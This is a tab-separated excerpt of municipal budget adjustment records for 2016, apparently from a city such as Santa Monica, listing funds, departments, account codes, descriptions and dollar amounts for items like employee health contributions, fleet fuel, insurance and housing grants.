20570	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	405670.0	HBP-FHWA PIER BRIDGE	610.0	Intergovernmental	2016	-400000	0	0	0	0	0	0	0	0	0	0	0	-400000
20571	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-11838	0	0	0	0	0	0	0	0	0	0	0	-11838
20572	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-13484	0	0	0	0	0	0	0	0	0	0	0	-13484
20573	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2016	-14746	0	0	0	0	0	0	0	0	0	0	0	-14746
20574	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2016	-180931	0	0	0	0	0	0	0	0	0	0	0	-180931
20575	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2016	-41429	0	0	0	0	0	0	0	0	0	0	0	-41429
20576	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-7365	0	0	0	0	0	0	0	0	0	0	0	-7365
20577	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		EMPLOYEE HEALTH CONTRIBUTION	840.0	Salaries and Wages	2016	-24435	0	0	0	0	0	0	0	0	0	0	0	-24435
20578	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-8644	0	0	0	0	0	0	0	0	0	0	0	-8644
20579	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-18852	0	0	0	0	0	0	0	0	0	0	0	-18852
20580	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2016	-25590	0	0	0	0	0	0	0	0	0	0	0	-25590
20581	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-5733	0	0	0	0	0	0	0	0	0	0	0	-5733
20582	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-101461	0	0	0	0	0	0	0	0	0	0	0	-101461
20583	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2016	-5609	0	0	0	0	0	0	0	0	0	0	0	-5609
20584	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-328274	0	0	0	0	0	0	0	0	0	0	0	-328274
20585	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409033.0	CAMP SM-SUMMER	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20586	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556150.0	SOLD NAME PLATES/BENCHES	808.0	 Supplies and Expenses	2016	8160	0	0	0	0	0	0	0	0	0	0	0	8160
20587	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556180.0	EMBALMING SUPPLIES/EQUIPMENT	808.0	 Supplies and Expenses	2016	10200	0	0	0	0	0	0	0	0	0	0	0	10200
20588	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		YEAR-END CASH OUTS	840.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20589	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2016	88897	0	0	0	0	0	0	0	0	0	0	0	88897
20590	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2016	454760	0	0	0	0	0	0	0	0	0	0	0	454760
20591	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555210.0	TRAINING	816.0	 Supplies and Expenses	2016	7917	0	0	0	0	0	0	0	0	0	0	0	7917
20592	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511749.0	VISION		Salaries and Wages	2016	895	0	0	0	0	0	0	0	0	0	0	0	895
20593	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2016	4673	0	0	0	0	0	0	0	0	0	0	0	4673
20594	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522620.0	RENT	844.0	 Supplies and Expenses	2016	103054	0	0	0	0	0	0	0	0	0	0	0	103054
20595	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-11941	0	0	0	0	0	0	0	0	0	0	0	-11941
20596	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-7164	0	0	0	0	0	0	0	0	0	0	0	-7164
20597	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-8846	0	0	0	0	0	0	0	0	0	0	0	-8846
20598	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	29	0	0	0	0	0	0	0	0	0	0	0	29
20599	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544460.0	HOMELESS COUNT	810.0	 Supplies and Expenses	2016	4121	0	0	0	0	0	0	0	0	0	0	0	4121
20600	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409009.0	CHILDCARE-MAY	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20601	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409051.0	MIDDLE SPORTS-FALL	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20602	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409062.0	SMSE-SPRING	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20603	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522130.0	UTILITIES - WATER	804.0	 Supplies and Expenses	2016	3354	0	0	0	0	0	0	0	0	0	0	0	3354
20604	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555430.0	WASTE DISPOSAL (BRINING)	808.0	 Supplies and Expenses	2016	674934	0	0	0	0	0	0	0	0	0	0	0	674934
20605	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402790.0	VAULT SALES	650.0	Charges for Service	2016	-54572	0	0	0	0	0	0	0	0	0	0	0	-54572
20606	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2016	4920	0	0	0	0	0	0	0	0	0	0	0	4920
20607	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2016	89165	0	0	0	0	0	0	0	0	0	0	0	89165
20608	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2016	474	0	0	0	0	0	0	0	0	0	0	0	474
20609	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2016	-7751	0	0	0	0	0	0	0	0	0	0	0	-7751
20610	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-6283	0	0	0	0	0	0	0	0	0	0	0	-6283
20611	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-3904	0	0	0	0	0	0	0	0	0	0	0	-3904
20612	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-900	0	0	0	0	0	0	0	0	0	0	0	-900
20613	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		EMPLOYEE HEALTH CONTRIBUTION	840.0	Salaries and Wages	2016	-51354	0	0	0	0	0	0	0	0	0	0	0	-51354
20614	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2016	-7851	0	0	0	0	0	0	0	0	0	0	0	-7851
20615	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-53035	0	0	0	0	0	0	0	0	0	0	0	-53035
20616	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-19635	0	0	0	0	0	0	0	0	0	0	0	-19635
20617	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	520000.0	SUPPLIES AND EXPENSES	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20618	BA	IS	43	Gas Tax Fund	500	PUBLIC WORKS	402	ENGINEERING	400860.0	ST GAS TAX APPORTIONMENT	610.0	Intergovernmental	2016	-1567000	0	0	0	0	0	0	0	0	0	0	0	-1567000
20619	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409010.0	CHILDCARE-JUNE	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20620	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409063.0	SMSE-SUMMER	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20621	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402820.0	FLOWER SALES	650.0	Charges for Service	2016	-17029	0	0	0	0	0	0	0	0	0	0	0	-17029
20622	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		UNEMPLOYMENT		Salaries and Wages	2016	1805	0	0	0	0	0	0	0	0	0	0	0	1805
20623	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2016	4153	0	0	0	0	0	0	0	0	0	0	0	4153
20624	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533290.0	LANDSCAPE MAINTENANCE		 Supplies and Expenses	2016	27000	0	0	0	0	0	0	0	0	0	0	0	27000
20625	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402660.0	FUTURE REPLACEMENTS	650.0	Charges for Service	2016	-5720553	0	0	0	0	0	0	0	0	0	0	0	-5720553
20626	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402700.0	REGULAR FUEL-DEPT USAGE	650.0	Charges for Service	2016	-450000	0	0	0	0	0	0	0	0	0	0	0	-450000
20627	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	2165474	0	0	0	0	0	0	0	0	0	0	0	2165474
20628	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	31399	0	0	0	0	0	0	0	0	0	0	0	31399
20629	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522312.0	DISCOUNTS LOST	804.0	 Supplies and Expenses	2016	333	0	0	0	0	0	0	0	0	0	0	0	333
20630	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2016	14400	0	0	0	0	0	0	0	0	0	0	0	14400
20631	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20632	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	10329	0	0	0	0	0	0	0	0	0	0	0	10329
20633	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2016	1661	0	0	0	0	0	0	0	0	0	0	0	1661
20634	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577650.0	MAINTENANCE / GUARDS		 Supplies and Expenses	2016	64378	0	0	0	0	0	0	0	0	0	0	0	64378
20635	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2016	3893	0	0	0	0	0	0	0	0	0	0	0	3893
20636	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511749.0	VISION	804.0	Salaries and Wages	2016	1922	0	0	0	0	0	0	0	0	0	0	0	1922
20637	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		DCAP	804.0	Salaries and Wages	2016	932	0	0	0	0	0	0	0	0	0	0	0	932
20638	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	4435	0	0	0	0	0	0	0	0	0	0	0	4435
20639	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2016	9235	0	0	0	0	0	0	0	0	0	0	0	9235
20640	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2016	76000	0	0	0	0	0	0	0	0	0	0	0	76000
20641	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	402270.0	SPECIAL INSURANCE	650.0	Charges for Service	2016	-73100	0	0	0	0	0	0	0	0	0	0	0	-73100
20642	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533040.0	SPECIAL INSURANCE		 Supplies and Expenses	2016	1200	0	0	0	0	0	0	0	0	0	0	0	1200
20643	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533040.0	SPECIAL INSURANCE	806.0	 Supplies and Expenses	2016	3100	0	0	0	0	0	0	0	0	0	0	0	3100
20644	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-24029	0	0	0	0	0	0	0	0	0	0	0	-24029
20645	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555350.0	COMM & TRIBUTE PROGRAM	810.0	 Supplies and Expenses	2016	25000	0	0	0	0	0	0	0	0	0	0	0	25000
20646	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409002.0	CHILDCARE-OCTOBER	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20647	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409004.0	CHILDCARE-DECEMBER	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20648	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409031.0	CAMP SM-WINTER	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20649	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409052.0	MIDDLE SPORTS-WINTER	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20650	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522110.0	UTIL - LIGHT / POWER	804.0	 Supplies and Expenses	2016	2562	0	0	0	0	0	0	0	0	0	0	0	2562
20651	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402800.0	NAME PLATES / BENCHES	650.0	Charges for Service	2016	-10293	0	0	0	0	0	0	0	0	0	0	0	-10293
20652	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2016	10620	0	0	0	0	0	0	0	0	0	0	0	10620
20653	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511748.0	DENTAL		Salaries and Wages	2016	6262	0	0	0	0	0	0	0	0	0	0	0	6262
20654	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	5391	0	0	0	0	0	0	0	0	0	0	0	5391
20655	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DISABILITY INSURANCE		Salaries and Wages	2016	2455	0	0	0	0	0	0	0	0	0	0	0	2455
20656	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	1235212	0	0	0	0	0	0	0	0	0	0	0	1235212
20657	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511748.0	DENTAL	804.0	Salaries and Wages	2016	14775	0	0	0	0	0	0	0	0	0	0	0	14775
20658	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		UNEMPLOYMENT	804.0	Salaries and Wages	2016	5874	0	0	0	0	0	0	0	0	0	0	0	5874
20659	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522000.0	UNRECOVERED INSURANCE LOSS	860.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20660	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2016	2961700	0	0	0	0	0	0	0	0	0	0	0	2961700
20661	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2016	289832	0	0	0	0	0	0	0	0	0	0	0	289832
20662	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533040.0	SPECIAL INSURANCE	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20663	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	533040.0	SPECIAL INSURANCE	810.0	 Supplies and Expenses	2016	2800	0	0	0	0	0	0	0	0	0	0	0	2800
20664	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 ADMIN	610.0	Intergovernmental	2016	-874707	0	0	0	0	0	0	0	0	0	0	0	-874707
20665	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400883.0	SPC HAP SU05	610.0	Intergovernmental	2016	-319830	0	0	0	0	0	0	0	0	0	0	0	-319830
20666	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400922.0	SPC ADMIN TRA	610.0	Intergovernmental	2016	-102952	0	0	0	0	0	0	0	0	0	0	0	-102952
20667	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400881.0	SPC HAP SU02	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20668	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2016	-13800	0	0	0	0	0	0	0	0	0	0	0	-13800
20669	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2016	-9917	0	0	0	0	0	0	0	0	0	0	0	-9917
20670	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-10669	0	0	0	0	0	0	0	0	0	0	0	-10669
20671	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-14139	0	0	0	0	0	0	0	0	0	0	0	-14139
20672	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-28620	0	0	0	0	0	0	0	0	0	0	0	-28620
20673	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409007.0	CHILDCARE-MARCH	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20674	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409005.0	CHILDCARE-JANUARY	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20675	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409021.0	ENRICHMENT-FALL	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20676	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409022.0	ENRICHMENT-WINTER	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20677	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2016	12460	0	0	0	0	0	0	0	0	0	0	0	12460
20678	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2016	2596	0	0	0	0	0	0	0	0	0	0	0	2596
20679	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577530.0	FARMERS' MKT EDUCATION PRGS		 Supplies and Expenses	2016	14122	0	0	0	0	0	0	0	0	0	0	0	14122
20680	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577540.0	FARMERS' MKT SPECIAL EVENTS		 Supplies and Expenses	2016	25256	0	0	0	0	0	0	0	0	0	0	0	25256
20681	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	17870	0	0	0	0	0	0	0	0	0	0	0	17870
20682	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		MEDICAL-RETIREE	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20683	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522180.0	BANK FEES		 Supplies and Expenses	2016	612	0	0	0	0	0	0	0	0	0	0	0	612
20684	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	2182	0	0	0	0	0	0	0	0	0	0	0	2182
20685	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	552010.0	CUSTODIAL SERVICES		 Supplies and Expenses	2016	11636	0	0	0	0	0	0	0	0	0	0	0	11636
20686	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	402260.0	PROPERTY INSURANCE	650.0	Charges for Service	2016	-2964598	0	0	0	0	0	0	0	0	0	0	0	-2964598
20687	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2016	543	0	0	0	0	0	0	0	0	0	0	0	543
20688	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20689	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577550.0	FARMERS' MARKET SUPPLIES		 Supplies and Expenses	2016	39183	0	0	0	0	0	0	0	0	0	0	0	39183
20690	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-9600	0	0	0	0	0	0	0	0	0	0	0	-9600
20691	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	765	0	0	0	0	0	0	0	0	0	0	0	765
20692	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533030.0	PROPERTY INSURANCE	854.0	 Supplies and Expenses	2016	185699	0	0	0	0	0	0	0	0	0	0	0	185699
20693	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400884.0	SPC HAP EXPANSION	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20694	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400922.0	SPC ADMIN TRA	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20695	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2016	2500	0	0	0	0	0	0	0	0	0	0	0	2500
20696	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2016	10620	0	0	0	0	0	0	0	0	0	0	0	10620
20697	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511748.0	DENTAL		Salaries and Wages	2016	7098	0	0	0	0	0	0	0	0	0	0	0	7098
20698	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT		 Supplies and Expenses	2016	6000	0	0	0	0	0	0	0	0	0	0	0	6000
